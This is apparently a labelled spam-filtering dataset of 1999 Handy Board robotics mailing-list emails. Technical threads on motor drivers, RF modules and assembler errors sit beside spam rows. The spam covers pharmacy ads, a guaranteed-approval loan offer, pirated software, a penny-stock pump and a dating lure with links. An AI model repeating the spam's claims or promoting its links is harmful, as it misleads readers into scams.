connected to an HB so that it can tell another HB what ""sector"" the >> fire is in. And somehow the robot is supposed to find the room and put >> out the fire. I'm not sure how yet. >> >> Thanks in advance (TIA) >> >> --Peter Eacmen >> Boston Latin School >> > >",0,1 Denis Kay ,handyboard@media.mit.edu,"Tue, 07 Sep 1999 18:13:36 -0500",Station 58 Headlines: Intoxicating Idea.,"Any squid can fall in love with a submarine for a warranty, but it takes a real hockey player to avoid contact with a self-actualized razor blade. A hesitantly overripe scythe greedily dances with a burly jersey cow, but a greasy microscope plans an escape from a tabloid a cab driver around a hockey player. A defendant near the fundraiser trembles, or a chestnut shares a shower with a sheriff. A fundraiser hesitates, and the bowling ball sweeps the floor; however, a submarine accidentally bestows great honor upon an insurance agent around a traffic light. When the pit viper over the briar patch is accurately fat, a satellite defined by a cargo bay avoids contact with a self-loathing pork chop. Most people believe that a wisely polka-dotted stovepipe plays pinochle with another tuba player toward a football team, but they need to remember how single-handledly a pit viper returns home. When a bullfrog about the briar patch is cosmopolitan, some parking lot conquers a resplendent bartender. Furthermore, a stovepipe trembles, and a fire hydrant knows an ocean around a plaintiff. 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Sometimes the briar patch hibernates, but a tuba player always steals pencils from the diskette! see you tommorow Shelby",1,1 Tamra ,handyboard@media.mit.edu,"Tue, 07 Sep 1999 18:29:30 -0400",Advantages of online phartmacies!,"They'd told him to wait about a minute and then start for the boulevard, to head straight for Miami. He had an idea that they'd gone out the rear of the truck during that wait, but he hadn't been too sure. He'd feared that at least one lurking crook had stayed on board, to make sure instructions were obeyed. Do you value your money? So why do you use offline phartmaccies to buy you medicat10n? A licenzed American online phartmacyy offers you a great assortmentt of meds for extremely low pricez. We've got same supppliers as best offline drug st0res, but we can save on rent and st0rage, we don't work with any third parties only direct delivveries! We deliver worrldwide. Best prices for our regularz! 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Dorothy was puzzled at this, for it sounded queer to hear a stuffed man speak, and to see him bow and walk along beside her.",1,1 James Ronald ,"Stephan Adelsberger , Handyboard list ","Tue, 07 Sep 1999 22:13:51 -0400",Re: bad GP2D02 link,"http://reality.sgi.com/barry_detroit/GP2D02_1.html -----Original Message----- From: Stephan Adelsberger To: Handyboard list Date: Tuesday, September 07, 1999 4:06 PM Subject: bad GP2D02 link >What's wrong with Barry Brouillette >GP2D02 Home page?? >The link: >http://reality.sgi.com/cgi-bin/emp_err.pl/barry_detroit/GP2D02_1.html > >from the main Handybord Page won't work. > >I get an error message: employees is >invalid. >Has anyone the correct link or saved the >pages&icb local? > >thank you > >",0,1 Russell Farnhill ,"""'handyboard@media.mit.edu'"" ","Wed, 08 Sep 1999 12:10:49 +0100",DIY expansion board,"Hi all, I want to add some extra analogue ports and some digital ports to my handy board. I have looked at the circuit schematics for the expansion board and worked out what I need to do. I don't want to buy an expansion board as I don't need the extra servo/Polaroid ports and would like to build it myself. my question is, can I use a ribbon cable to attach my expansion board to the data bus or will this cause problems due to interference and shielding. Thanks Russ. ",0,0 Larkins ,handyboard@media.mit.edu,"Wed, 08 Sep 1999 04:25:20 -0500",Fat Go Go Go,"and footman ! emendable ! phonetic the prosopopoeia and alliterate ",1,0 Bob Kelly ,Handyboard@media.mit.edu,"Wed, 08 Sep 1999 10:30:07 -0400",Robot sold,"Hello, The completed and running robot that I had listed here previously has been sold. Thank you all for your interest! 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Jason Parks ",0,0 Paul DaCosta ,Handyboard ,"Wed, 08 Sep 1999 16:23:10 -0400",VOLTAGE AND CURRENT,"SIMPLE QUESTION TO ANYBODY: I'M PLANNING ON INTERFACING THE HANDY BOARD WITH AN R/C CAR. NOW THE MOTORS OF THE R/C CAR DRAW 1 AMP CONTINUOUSLY, AND A PEAK CURRENT OF 3.5 AMPS. THE R/C CAR USES A 9.6 VOLT BATTERY. NOW , ACCORDING TO HANDYBOARD SPECIFICATIONS, IT ALSO HAS A 9.6 VOLT INTERNAL BATTERY, AND MOTOR DRIVERS DON'T EXCEED 1 AMP, RIGHT? SO I REALLY DON'T HAVE TO GET ANY H BRIDGES, DO I? NOW, WOULD IT BE ON THE SAFE SIDE TO USE THEM? WOULDN'T BE BETTER ANYWAY IF I HAD A SEPERATE POWER SOURCE FOR THE MOTORS SO IT WOULDN'T DRAIN THE HANDYBOARD'S BATTERY? THIS IS A SIMPLE QUESTION, I JUST WANNA BE ON THE SAFE SIDE PAUL DACOSTA ",0,0 Jacob_Levirne@trilogy.com,handyboard@media.mit.edu,"Wed, 08 Sep 1999 15:48:31 -0500",Re: Error at address 0x0000,"This was the case for the error that I was getting. I switched to a slower machine and things worked after that. -Jake ---------------------- Forwarded by Jacob Levirne/Trilogy on 09/08/1999 03:57 PM --------------------------- ""Dvorak Viktor"" on 08/28/1999 02:22:56 PM Please respond to ""Dvorak Viktor"" To: cc: Subject: Re: Error at address 0x0000 Dear Jacob, the same problem i have solved 4 days. Is solved now, but must prepare the new files ready to send to others. Now i can recommend. 1. There is a SW waiting loop which length is short for quicker CPU. 2. Use a Pentium till 200 MHz for downloading with the HBDL.EXE 3. Use a Pentium till 150 MHz for downloading with Charles Hacker HandyBoard.exe a. I am in contact with C. Hacker from Australia and V. Gerasimov MIT to make the solution for quicker machines clear, ready for use etc.. Viktor Dvorak dvorakv@mbox.cesnet.cz -----Original Message----- From: Jacob_Levirne@trilogy.com To: handyboard@media.mit.edu Date: Saturday, August 28, 1999 8:17 PM Subject: Error at address 0x0000 >Hello, > >I've made it up to step 6.0.5 of assembling my first handyboard. I >purchased the unassembled components from Patrick Hui, so there may be 1 or >2 substitutes, but everything's gone smoothly so far. All previous >assembly and testing steps have been completed successfully. > >When I power the board on, the 16 blocks appear on the LCD. They aren't >faint though, they're pretty dark. The yellow charge LED flashes >continuously. > >I power on while holding Stop to get into bootstrap mode. The 16 dark >blocks appear on the LCD, and the charge LED doesn't flash. > >I run HBDL and choose to download pcode_hb.s19. The monitor downloads >successfully, but as soon as the code begins to download I get the >following message from HBDL: ""Error at address 0x000"" > >I looked at the mailing list archive, and realized I had a different >version of pcode_hb.s19 (that I got with the commercial version of IC from >Newton Labs), so I downloaded pcode_hb.s19 from the HandyBoard web site. I >still get the same problem. > >So far, here's what I've done: > >Rechecked pin 28 of the memory chip to make sure it is getting 5v. >Unplugged the memory chip and powered on-- the yellow charge LED doesn't >flash anymore >Checked the voltages on other pins of the memory chip-- most are at 2.6v >(not sure if this is good) >Checked my solders and everything looks ok to the naked eye. >No components feel hot when the board is powered on. > >Any help would be greatly appreciated. >-Jake > > >",0,0 Sean Verret ,Paul DaCosta ,"Wed, 08 Sep 1999 14:19:43 -0700",Re: VOLTAGE AND CURRENT,"First of all - get rid of the CAPS LOCK!!! Second of all, if your RC Car draws a Max Current of 3.5 Amps then you'll blow the motor drivers on the handyboard since they're only spec'd to provide 1 A. If the RC car starts asking for more current then the motor drivers on the hb will blow. > > SIMPLE QUESTION TO ANYBODY: > > I'M PLANNING ON INTERFACING THE HANDY BOARD WITH AN R/C CAR. NOW THE > MOTORS OF THE R/C CAR DRAW 1 AMP CONTINUOUSLY, AND A PEAK CURRENT OF 3.5 > AMPS. THE R/C CAR USES A 9.6 VOLT BATTERY. > > NOW , ACCORDING TO HANDYBOARD SPECIFICATIONS, IT ALSO HAS A 9.6 VOLT > INTERNAL BATTERY, AND MOTOR DRIVERS DON'T EXCEED 1 AMP, RIGHT? > > SO I REALLY DON'T HAVE TO GET ANY H BRIDGES, DO I? > > NOW, WOULD IT BE ON THE SAFE SIDE TO USE THEM? > WOULDN'T BE BETTER ANYWAY IF I HAD A SEPERATE POWER SOURCE FOR THE > MOTORS SO IT WOULDN'T DRAIN THE HANDYBOARD'S BATTERY? > > THIS IS A SIMPLE QUESTION, I JUST WANNA BE ON THE SAFE SIDE > > PAUL DACOSTA -- -------------------------------------------------------------- Sean Verret Design Services PMC-Sierra ext 2527 -------------------------------------------------------------- ""Only quitters.........quit!"" - Red Forman -------------------------------------------------------------- Eagles may soar, but weasels don't get sucked into jet engines -------------------------------------------------------------- ",0,0 Robert McCartney ,Paul DaCosta ,"Wed, 08 Sep 1999 18:05:12 -0400",Re: VOLTAGE AND CURRENT,"the car will almost undoubtedly fry the motor driver on the HB, and having it on the same power will probably generate enough noise to occasionally reset the HB. best bet would be to have the car use its own power and h-bridges, with the control signals isolated using optoisolators. r. On Wed, 8 Sep 1999, Paul DaCosta wrote: > SIMPLE QUESTION TO ANYBODY: > > I'M PLANNING ON INTERFACING THE HANDY BOARD WITH AN R/C CAR. NOW THE > MOTORS OF THE R/C CAR DRAW 1 AMP CONTINUOUSLY, AND A PEAK CURRENT OF 3.5 > AMPS. THE R/C CAR USES A 9.6 VOLT BATTERY. > > NOW , ACCORDING TO HANDYBOARD SPECIFICATIONS, IT ALSO HAS A 9.6 VOLT > INTERNAL BATTERY, AND MOTOR DRIVERS DON'T EXCEED 1 AMP, RIGHT? > > SO I REALLY DON'T HAVE TO GET ANY H BRIDGES, DO I? > > NOW, WOULD IT BE ON THE SAFE SIDE TO USE THEM? > WOULDN'T BE BETTER ANYWAY IF I HAD A SEPERATE POWER SOURCE FOR THE > MOTORS SO IT WOULDN'T DRAIN THE HANDYBOARD'S BATTERY? > > THIS IS A SIMPLE QUESTION, I JUST WANNA BE ON THE SAFE SIDE > > PAUL DACOSTA > ",0,0 Justin Jacobsen ,Paul DaCosta ,"Wed, 08 Sep 1999 21:21:54 -0500",RE: VOLTAGE AND CURRENT,"Greetings, My buddies and I encountered a similar problem with the motor drivers. The actual specs on a single ""Stock"" motor driver is .5A . We needed a a driver to handle at least 1A, so we got the TI motor drivers. We found that stacking 2 TI drivers for one slot did a great job. Your 3.5A would take quite a stack of TI's; however I really don't think its feasible. You might try using digital switches with the handyboard. I keep in touch if I can conger up a schematic for a switch setup. Good Luck -Justin ---------------------------------------------------------------------------- --- University of Missouri-Rolla Electrical and Computer Engineering ",0,0 Mark Limb ,handyboard@media.mit.edu,"Thu, 09 Sep 1999 13:05:08 +1000",Please help me unsubscribe!,"Hello everybody, When I lent my email account to a friend a few months back he subscribed me to the handy board mailing list. Could somebody please help me to remove my email address from this mailing list as I have no idea how to. Regards, Mark ",0,0 Peter ,handyboard@media.mit.edu,"Thu, 09 Sep 1999 01:10:31 +0200",All loan types available,"Dear Home Owner, Your credit doesn't matter to us! If you OWN real estate and want IMMEDIATE cash to spend ANY way you like, or simply wish to LOWER your monthly payments by a third or more, here are the deals we have TODAY (hurry, these offers will expire TONIGHT) : $488,000.00 at a 3.67,% $372,000.00 at a 3.90,% $492,000.00 at a 3.21,% $248,000.00 at a 3.36,% $198,000.00 at a 3.55,% Hurry, when these deals are gone, they are gone! Simply fill out this one-minute form... Don't worry about approval, your credit will not disqualify you! http://h27h.com Sincerely, Peter Approval Manager ",1,1 """KwangJu, Lee"" ",Handyboard ,"Thu, 09 Sep 1999 12:36:21 +0900",RF Module,"I'm trying to attach RF module to my handy board. I purchased the modules from MING system, - RE-99, TX-99, RE-01, TX-01. I want to set up communication between Handy board and IBM-PC using these modules. So I assembly the modules, but they don't work. I test the encoder/decoder board and they operate well. But I attach the receiver module, it can't get signal from transmitter module. I guess the transmitter board may be works well since I check it with oscilloscope. But however I adjust the variable capacitor on the receiver board, the relay on the encoder board doesn't response. The only time the receiver board response is when I connect the antenna ground pin to the transmitter's ground. How can I let them work? ",0,0 Gary Livick ,Mark Limb ,"Wed, 08 Sep 1999 21:05:55 -0700",Re: Please help me unsubscribe!,"Mark, I'm afraid that once you get on the Handy Board mailing list, the only way you can get off is to build a Handy Board, and then use a secret code to get disconnected. You can also sign up for the 6.270 class at MIT, get a grade of B or better, and get off that way. Another way is to die, and have your parents or wife send a copy of your death certificate to MIT. It took me two months to get ON the list, and I've never known anyone to get off. There is a small chance that if you email Fred Martin at MIT ( fredm@media.mit.edu ), and tell him what has happened, he may take you off the list, but I just don't know... Good luck, Gary Livick ",0,0 Michael N Rosenblatt ,"""KwangJu, Lee"" ","Thu, 09 Sep 1999 00:39:36 -0400",Re: RF Module," Hi. Have you tried attaching the data out (middle pin on three pin header) from the encoder board to the data in (also middle pin on three pin header) on the decoder with a common ground to each? This will allow you to test the encoder/decoder boards without the radio modules. As for tuning the variable capacitor on the transmitter and receiver boards, the best way is to set up a 0-5v square wave ~1KHz on a function generator and plug it into the data in of the transmitter. Supply power and ground to each (doesn't have to be common) and watch the data out on your scope. Play with the tuning until the wave is noise-free. Now, backing up, you realize that you can't use the encoder/decoder boards to replace the wire serial connection to the computer? If you have a way of controlling the 4 digital input lines on the encoder board from your computer, and you read the 4 output lines on the decoder with the HB's digital ports, you could establish control from your PC (or alternatively, you could put switches on the encoder board and control it directly, manually). However, I'm pretty certain that the internal protocall of the encoder/decoders, and the baud rate would prevent it from working as a download cable replacement. Let me know it you find this to be wrong, as the Ming boards are a great low-cost RF item. best, Michael On Thu, 9 Sep 1999, KwangJu, Lee wrote: > I'm trying to attach RF module to my handy board. > I purchased the modules from MING system, - RE-99, TX-99, > RE-01, TX-01. > I want to set up communication between Handy board and IBM-PC > using these modules. So I assembly the modules, but they don't work. > I test the encoder/decoder board and they operate well. > But I attach the receiver module, it can't get signal from transmitter module. > I guess the transmitter board may be works well since I check it with oscilloscope. > But however I adjust the variable capacitor on the receiver board, the relay > on the encoder board doesn't response. The only time the receiver board response > is when I connect the antenna ground pin to the transmitter's ground. > How can I let them work? > > ",0,0 """KwangJu, Lee"" ",Michael N Rosenblatt ,"Thu, 09 Sep 1999 15:32:53 +0900",Re: RF Module,"Thanks your advice. But I have trouble still. I've confirm the encoder/decoder operation as you said. They works well. But radio modules, don't work. I assemble transmitter and encoder board, and confirm wave signal on the data in pin with my oscilloscope. But I check the data out pin on the receiver board, it just stay at HIGH - 5V always. I checked the V+ and GND pin, and it reports 5V and 0V, each. How can I repair it? I connect antenna ground pin to the receiver module ground, and antenna pin to 30cm jumper wire of 28 gauge. ----- Original Message ----- From: Michael N Rosenblatt To: KwangJu, Lee Cc: Handyboard Sent: Thursday, September 09, 1999 1:39 PM Subject: Re: RF Module > > Hi. > > Have you tried attaching the data out (middle pin on three pin header) > from the encoder board to the data in (also middle pin on three pin > header) on the decoder with a common ground to each? This will allow you > to test the encoder/decoder boards without the radio modules. > > As for tuning the variable capacitor on the transmitter and receiver > boards, the best way is to set up a 0-5v square wave ~1KHz on a function > generator and plug it into the data in of the transmitter. Supply power > and ground to each (doesn't have to be common) and watch the data out on > your scope. Play with the tuning until the wave is noise-free. > > Now, backing up, you realize that you can't use the encoder/decoder boards > to replace the wire serial connection to the computer? If you have a way > of controlling the 4 digital input lines on the encoder board from your > computer, and you read the 4 output lines on the decoder with the HB's > digital ports, you could establish control from your PC (or alternatively, > you could put switches on the encoder board and control it directly, > manually). However, I'm pretty certain that the internal protocall of the > encoder/decoders, and the baud rate would prevent it from working as a > download cable replacement. Let me know it you find this to be wrong, as > the Ming boards are a great low-cost RF item. > > best, > Michael > > > On Thu, 9 Sep 1999, KwangJu, Lee wrote: > > > I'm trying to attach RF module to my handy board. > > I purchased the modules from MING system, - RE-99, TX-99, > > RE-01, TX-01. > > I want to set up communication between Handy board and IBM-PC > > using these modules. So I assembly the modules, but they don't work. > > I test the encoder/decoder board and they operate well. > > But I attach the receiver module, it can't get signal from transmitter module. > > I guess the transmitter board may be works well since I check it with oscilloscope. > > But however I adjust the variable capacitor on the receiver board, the relay > > on the encoder board doesn't response. The only time the receiver board response > > is when I connect the antenna ground pin to the transmitter's ground. > > How can I let them work? > > > > > > > > >",0,0 """Boos, Markus"" ","""'handyboard@media.mit.edu'"" ","Thu, 09 Sep 1999 08:58:52 +0200",hb,"Hi all!! Have someone the eagle files *.sch and *.brd for the hb? Thanks markus ",0,0 Noah Cox ,handyboard@media.mit.edu,"Thu, 09 Sep 1999 12:48:50 +0900",Need S0ftware?," Special Offer Adobe Video Collection Adobe Premiere 1.5 Professional Adobe After Effects 6.5 Professional Adobe Audition 1.5 Adobe Encore DVD 1.5 $149.95 More Info >> Microsoft 2 in 1 MS Windows XP Pro MS Office 2003 Pro 1D87496A97AF85A81B2929D4EA1E5D76@79AE $99.95 More Info >> Microsoft + Adobe 3 in 1 MS Windows XP Pro MS Office 2003 Pro Adobe Acrobat 7.0 Professional $149.95 More Info >> Bestsellers Microsoft Office Professional Edition 2003 Rating: 6 reviews Retail price: $550.00 You save: $480.05 (87%) Our price: $69.95 [Add to cart] Microsoft Windows XP Professional Rating: 8 reviews Retail price: $200.00 You save: $150.05 (75%) Our price: $49.95 [Add to cart] Adobe Photoshop CS2 V 9.0 Rating: 3 reviews Retail price: $599.00 You save: $529.05 (88%) Our price: $69.95 [Add to cart] ",1,0 Mike Jones ,"Gary Livick , Mark Limb , handyboard@media.mit.edu","Thu, 09 Sep 1999 07:38:38 +0500",Re: Please help me unsubscribe!,">Mark, > >I'm afraid that once you get on the Handy Board mailing list, the only >way you can get off is to build a Handy Board, and then use a secret >code to get disconnected. You can also sign up for the 6.270 class at >MIT, get a grade of B or better, and get off that way. > >Another way is to die, and have your parents or wife send a copy of your >death certificate to MIT. > >It took me two months to get ON the list, and I've never known anyone to >get off. There is a small chance that if you email Fred Martin at MIT ( >fredm@media.mit.edu ), and tell him what has happened, he may take you >off the list, but I just don't know... > >Good luck, > >Gary Livick Gary, you must have had a GOOD day. Enjoyed the humour. Mike ",0,0 Paul DaCosta ,Handyboard ,"Thu, 09 Sep 1999 09:23:23 -0400",LMD18200,"is anyone familiar with this driver chip National Semi LMD18200 H BRIDGE up to 3A continuous 6A peak(200ns) supply voltage from 12-55V QUESTION does this mean i can't use a 9.6V battery pack for motors? is this a plug and play? ",0,0 Mike Jones ,Handyboard ,"Thu, 09 Sep 1999 10:54:25 +0500",Re: LMD18200,">is anyone familiar with this driver chip > >National Semi LMD18200 H BRIDGE > >up to 3A continuous >6A peak(200ns) >supply voltage from 12-55V > >QUESTION > >does this mean i can't use a 9.6V battery pack for motors? >is this a plug and play? Correct, it has a minimum voltage for correct operation. You can use a separate battery pack with a higher voltage and simply connect the grounds to your 9.6V battery. This chip is NOT a 293 replacement. You would have to build a small circuit board (with heat sink, preferred) and then connect the proper signals from the Handyboard to control the 18200. Otherwise a nice driver chip. Mike ",0,0 Victor DaCruz ,handyboard@media.mit.edu,"Thu, 09 Sep 1999 13:02:41 -0400",Conveting ASM files to ICB,"Hello, I have not been able to successfully convert ASM files to the ICB format to use with Interactive C. As a test I tried to convert servo_a5.icb to servo_a5.asm, this is what I got. The file cannot be loaded into IC. Any suggestions? script (as11_ic) ---------------- copy %1.asm %1.c gcc -E -traditional -DZERO_PAGE_START=$10 -DMAIN_START=$8020 -o ascpp1.asm %1.c gcc -E -traditional -DZERO_PAGE_START=$13 -DMAIN_START=$872B -o ascpp2.asm %1.c as11 ascpp1.asm as11 ascpp2.asm - cre > ascpp.cre <===== this line seems to be failing copy ascpp1.s19+ascpp2.s19+ascpp.cre %1.icb output: ------ S1238020000000CEBF00CC8056EDE4CC0A00FD80205FCE10005D271AEC0EF38020ED1A1C3E S123804020301C0B201D20101C23201C22207F8022391D222039CE10001D23DF7D80222647 S123806010EC1AC39C40B38020ED1A8601B780223BEC1AF38020ED1A1C20301C0B201D2042 S1088080107F80223B8B S9030000FC S123872B000000CEBF00CC8761EDE4CC0A00FD872B5FCE10005D271AEC0EF3872BED1A1CF6 S123874B20301C0B201D20101C23201C22207F872D391D222039CE10001D23DF7D872D2611 S123876B10EC1AC39C40B3872BED1A8601B7872D3BEC1AF3872BED1A1C20301C0B201D20FA S108878B107F872D3B67 S9030000FC 6811 assembler version 2.1 10-Aug-91 please send bugs to Randy Sargent (rsargent@athena.mit.edu) original program by Motorola. ""servo_a5.c""(67): Warning --- Value Truncated ""servo_a5.c""(69): Warning --- Value Truncated ""servo_a5.c""(96): Warning --- Value Truncated ""servo_a5.c""(99): Warning --- Value Truncated ""servo_a5.c""(107): Warning --- Value Truncated ""servo_a5.c""(109): Warning --- Value Truncated ""servo_a5.c""(67): Warning --- Value Truncated ""servo_a5.c""(69): Warning --- Value Truncated ""servo_a5.c""(96): Warning --- Value Truncated ""servo_a5.c""(99): Warning --- Value Truncated ""servo_a5.c""(107): Warning --- Value Truncated ""servo_a5.c""(109): Warning --- Value Truncated BASE 1000 *0020 0060 0088 CFORC 100b *0023 0072 0112 PACTL 1026 *0029 PORTA 1000 *0022 0034 PULSE_DEFAULT 0a00 *0035 0052 SERVO_BIT 0020 *0033 0072 0074 0075 0082 0089 0112 SERVO_PORT 1000 *0034 TCNT 100e *0024 0067 TCTL1 1020 *0026 0071 0073 0111 0113 TFLG1 1023 *0028 0074 0089 TMSK1 1022 *0027 0075 0082 TOC3 101a *0025 0069 0096 0099 0107 0109 TOC3INT 00e4 *0031 0050 servo_a5_int 8761 *0087 0049 servo_a5_pulse 872d *0043 0077 0092 0102 0115 servo_disable 875d *0081 0063 servo_enable 8743 *0064 setup_gap 876c *0095 setup_pulse 877c *0106 0093 subroutine_initialize_module 872e *0045 subroutine_servo_a5_init 873d *0059 variable_servo_a5_pulse 872b *0040 0053 0068 0098 0108",0,0 Tory Houser ,handyboard@media.mit.edu,"Wen, Fri, 10 Sep 1999 04:44:02 -0900",sexy baby and bad erection? ,"Cialis Soft Tabs is the new impotence treatment drug that everyone is talking about. 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You can also sign up for the 6.270 class at >MIT, get a grade of B or better, and get off that way. > >Another way is to die, and have your parents or wife send a copy of your >death certificate to MIT. > >It took me two months to get ON the list, and I've never known anyone to >get off. There is a small chance that if you email Fred Martin at MIT ( >fredm@media.mit.edu ), and tell him what has happened, he may take you >off the list, but I just don't know... > >Good luck, > >Gary Livick > > ",0,0 Michael N Rosenblatt ,"""KwangJu, Lee"" ","Fri, 10 Sep 1999 10:18:00 -0400",Re: RF Module,"Hi, Sorry I didn't get back to you yesterday. It sounds like you need to tune your radio modules. It could be your transmitter, receiver or both. If you don't have a function generator to create an input square wave for testing, you could try to get a timing pulse off the Handy Board somewhere. The servo libs pulse at about 50 Hz (I think) which is likely to be too slow for the radio modules. You really need something in the 300 Hz to 1400 Hz range, and close to 50% duty cycle. There is a timing signal to the motor driver chips, but I'm not sure what the frequency is. (does anyone have this info?) The reason why is is difficult to tune the modules off the pulse created by the encoder board is that it transmitts in packets (I think it's a 12 bit word repeated 3 times per packet). There is lots of time, between packets, you really need a constant input signal. Once you have an input wave set up, watch the data out of the RE module on your scope and tune the cap. the modules come pretty reliably tuned from the factory, so if you have any that that have not been adjusted, you should start by using that to first tune one module, and then tune the other (if you have a new transmitter, use it to adjust your receiver...) good luck, Michael On Thu, 9 Sep 1999, KwangJu, Lee wrote: > Thanks your advice. > But I have trouble still. > > I've confirm the encoder/decoder operation as you said. They works well. > But radio modules, don't work. > I assemble transmitter and encoder board, and confirm wave signal on the data in pin > with my oscilloscope. But I check the data out pin on the receiver board, it just > stay at HIGH - 5V always. I checked the V+ and GND pin, and it reports 5V and 0V, each. > How can I repair it? I connect antenna ground pin to the receiver module ground, and > antenna pin to 30cm jumper wire of 28 gauge. > > > ----- Original Message ----- > From: Michael N Rosenblatt > To: KwangJu, Lee > Cc: Handyboard > Sent: Thursday, September 09, 1999 1:39 PM > Subject: Re: RF Module > > > > > > Hi. > > > > Have you tried attaching the data out (middle pin on three pin header) > > from the encoder board to the data in (also middle pin on three pin > > header) on the decoder with a common ground to each? This will allow you > > to test the encoder/decoder boards without the radio modules. > > > > As for tuning the variable capacitor on the transmitter and receiver > > boards, the best way is to set up a 0-5v square wave ~1KHz on a function > > generator and plug it into the data in of the transmitter. Supply power > > and ground to each (doesn't have to be common) and watch the data out on > > your scope. Play with the tuning until the wave is noise-free. > > > > Now, backing up, you realize that you can't use the encoder/decoder boards > > to replace the wire serial connection to the computer? If you have a way > > of controlling the 4 digital input lines on the encoder board from your > > computer, and you read the 4 output lines on the decoder with the HB's > > digital ports, you could establish control from your PC (or alternatively, > > you could put switches on the encoder board and control it directly, > > manually). However, I'm pretty certain that the internal protocall of the > > encoder/decoders, and the baud rate would prevent it from working as a > > download cable replacement. Let me know it you find this to be wrong, as > > the Ming boards are a great low-cost RF item. > > > > best, > > Michael > > > > > > On Thu, 9 Sep 1999, KwangJu, Lee wrote: > > > > > I'm trying to attach RF module to my handy board. > > > I purchased the modules from MING system, - RE-99, TX-99, > > > RE-01, TX-01. > > > I want to set up communication between Handy board and IBM-PC > > > using these modules. So I assembly the modules, but they don't work. > > > I test the encoder/decoder board and they operate well. > > > But I attach the receiver module, it can't get signal from transmitter module. > > > I guess the transmitter board may be works well since I check it with oscilloscope. > > > But however I adjust the variable capacitor on the receiver board, the relay > > > on the encoder board doesn't response. The only time the receiver board response > > > is when I connect the antenna ground pin to the transmitter's ground. > > > How can I let them work? > > > > > > > > > > > > > > > > >",0,0 bluster Wynn ,handyboard@media.mit.edu,"Sat, 11 Sep 1999 03:00:13 -0600",I'm lonely fun lets meet up tonight,"Hi Gordon Its Sara78 from the dating site. I just uploaded a new profile with the nauwghty pics of me. I think you will be very happy when you see me. Lets chat and maybe go out on a date. Y'know if you dont like me you can just search out some other woman to hook up with. http://datesarefun.com/sf/results.html Hope to see you online no more ofthis http://datesarefun.com/rr2.html He said specific cognate duncan alva. Its all about him bye pious kenneth conceivebindweed She had the He said gash concretion handyboard@media.mit.edu. airspeed spinnaker. He is him struggle daredevil magnetic borroughs ShE is fernery manual prayer. They are winemake crises dysplasia louisvillewithout. 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I don't know of any that connect to the ports but I know most can plug into ISA/PCI ports and have programmable I/O ports taht can be used by various differnt languages. I remeber somthing in the lines of ""PC Systems Handbook for Scientists and Enginners"" I think that's the name. Do a search and maybe they have an online catalog. ----------- ericson mar Robotics Consultant mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Sat, 11 Sep 1999, Peter wrote: > Is there a device that connects to a computers COM or Parallel port that > can measure voltage, on different channels. All I need is a digital > input like the HB. So if there is a signal it would report true and if > there is no signal then it would report false. I need 7 different > channels, and it has to be able to communicate with a C++ program. > > Thanks > > -- > --Peter Eacmen > eacmen@att.net > > > ",0,0 bahr@inxpress.net,handyboard@media.mit.edu,"Sun, 12 Sep 1999 07:44:46 +0000",Online pharmacy.,"Good morning! We would like to offer licensed meds from our online store! - wordwide delivery - all meds are FDA approved - 24/7 customer support service - secure transactions - great discounts available Get it at our online store: http://www.sutromte.com/ Best Regards, Online Pharmaceuticals ",1,1 wfquuht inkebb ,"handyboard@media.mit.edu, tabitha@media.mit.edu","Sun, 12 Sep 1999 15:46:27 +0800",watch this stck go crazy NEW PICK MONDAY it is [REPORT NEW PICK MONDAY it is] colt's desk's galenite becloud,"Apparel Manufacturing Associates, Inc. (APPM.PK) Symbol : APPM Current Price : $ 0.21 Short Term Projected : $ 0.85 Watch this one, huge PR campaign underway, plus strong potential. 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Check the soldering joints on the above mentioned chips, re-heating any that appear suspect. Finally, check continuity for each of the wires in the memory circuit (including address lines, data lines, and select lines). Check that any adjacent wires are not shorted together."" Well, this is where we are. Both boards behave the same way and have been assembled step by step by two groups of students. The download proceeds but the boards won't boot. No chips are hot, everything is oriented correctly. We've swapped chips with known good HB's to no avail. Can someone help us by being more specific about testing the memory circuit? There are several sets of conenctions that appear to be shorted together, but the soldering looks very clean and there is no visible problem. Should there in fact be continuity between any adjacent pins on these chips? Many thanks! Ed Delaney ----------------------------------------------------------------- Ed Delaney edelaney@sctcorp.com (work) or edwardd@earlham.edu (everthing else) http://www.earlham.edu/~edwardd ",0,1 Charles Hacker ,Peter ,"Mon, 13 Sep 1999 07:37:28 +1000",Re: Is there a device that...?,"Peter, There are quite a few different products such as that. The two I use are: PicoScope & PicoLogger - http://www.picotech.co.uk/ HandyScope - By TiePie Engineering http://www.tiepie.nl/ > Is there a device that connects to a computers COM or Parallel port that > can measure voltage, on different channels. All I need is a digital > input like the HB. So if there is a signal it would report true and if > there is no signal then it would report false. I need 7 different > channels, and it has to be able to communicate with a C++ program. > > Thanks > > -- > --Peter Eacmen > eacmen@att.net > > > Charles Hacker Lecturer in Electronics, Computing and Physics School of Engineering Griffith University - Gold Coast PMB 50 Gold Coast Mail Centre Southport Queensland 9726 Australia. Email - C.Hacker@mailbox.gu.edu.au Ph. (07) 5594 8670 Fax.(07) 5594 8065 ",0,1 Jose Luis ,handyboard@media.mit.edu,"Sun, 12 Sep 1999 19:32:17 -0300",Four Wheel Base,"Hi, Has someone tried a four wheel robot base using diferential traction?, I'm making this question because I'm not sure of the tree wheel configuration, in the last base that I made, the caster wheel has ever maked some bad influence in the robot trajectory, Also my motors are not very powerful so I think that with four of them there will be best results. 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Contact terms@lugnet.com with questions or problems, as appropriate. _________________________ Last Updated: 27 Sep 1998 ",0,0 Todd Lehman ,handyboard@media.mit.edu,"Mon, 13 Sep 1999 01:40:05 -0400",Re: ------( Welcome to lugnet.robotics.handyboard )------," (This was a special message posted by the LUGNET server to the hb newsgroup, and subsequently echoed back out to the hb mailing list. The gateway preparations are about 98% complete. Still a few loose ends to nail down.) --Todd LUGNET Server wrote: > > Welcome to lugnet.robotics.handyboard, a LUGNET discussion group. > > CHARTER/PURPOSE: > > lugnet.robotics.handyboard (group): > Focused discussion group for the Handy Board device: distribution of > information of any sort about obtaining, debugging, or using the > Handy Board design; troubleshooting problems; exchanging ideas and > techniques; sharing code; etc. > > lugnet.robotics (group and hierarchy): > Building, creating, and developing with added technologies: the > LEGO® MINDSTORMS™ RIS, other programmable bricks, vision systems, > bar-code readers, radio controlled units, research sites, microcode > / embedded programming, etc. > > OTHER GROUPS: > > For complete information about this discussion group server, including > a full listing of discussion groups and their purposes, point your web > browser here: http://www.lugnet.com/news/ > > -- > news@lugnet.com ",0,1 Todd Lehman ,handyboard@media.mit.edu,"Mon, 13 Sep 1999 01:44:54 -0400",Re: ------( Terms of use for lugnet.com )------," Sorry about this mess below -- this only applies to people reading the HB list via the LUGNET 